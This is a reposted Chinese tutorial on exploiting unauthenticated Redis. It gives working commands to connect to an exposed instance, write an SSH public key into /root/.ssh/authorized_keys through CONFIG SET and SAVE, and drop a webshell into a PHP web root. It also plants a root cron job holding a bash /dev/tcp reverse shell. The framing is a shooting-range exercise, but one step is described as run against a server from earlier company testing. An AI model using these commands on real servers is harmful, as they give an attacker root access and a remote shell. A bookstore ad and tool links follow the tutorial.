Redis未授权访问

栏目: 数据库 · 发布时间: 5年前

内容简介:Redis默认配置未配置密码,如果Redis以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

Redis默认配置未配置密码,如果 Redis 以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。

0x02 攻击手段

连接测试

已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

./redis-cli -h 219.153.49.228 -p 47234

Redis未授权访问

本地生成公私钥

若Redis以root用户运行,可以直接将本地生成的公钥导入到/root/.ssh/authorized.keys文件中实现免密登录。

ssh-keygen -t rsa

Redis未授权访问

公钥写入

由于网络靶场写入/root/.ssh/的权限受限,因此以之前对公司内网测试获取的一台Redis服务器为例。

先将公钥写入文件:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > h.txt

Redis未授权访问

将h.txt的内容写入到redis服务器key为test对应的value中。

cat h.txt | /usr/redis/./redis-cli -h xxx.xxx.xxx.xxx -p 6389 -x set test

Redis未授权访问

设置redis的dbfilename路径为/root/.ssh/authorized_keys,并保存。

config set dir /root/.ssh

config set dbfilename authorized_keys

save

Redis未授权访问

直接使用ssh访问服务器查看权限和文件,可见为root权限用户。

Redis未授权访问

写入webshell

网络靶场写入/root/.ssh/的权限受限,且存在 php 站点,因此尝试写入webshell。

设置Redis备份目录为php站点目录:/var/www/html/,文件名任意。

Redis未授权访问

使用浏览器访问webshell,可以正常访问。

Redis未授权访问

写入定时任务

同理,将Redis备份目录改为/var/spool/cron,使用nc进行监听反弹shell。

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip_addr/port 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Design for ROI

Web Design for ROI

Lance Loveday、Sandra Niehaus / New Riders Press / 2007-10-27 / USD 39.99

Your web site is a business--design it like one. Billions of dollars in spending decisions are influenced by web sites. So why aren't businesses laser-focused on designing their sites to maximize thei......一起来看看 《Web Design for ROI》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具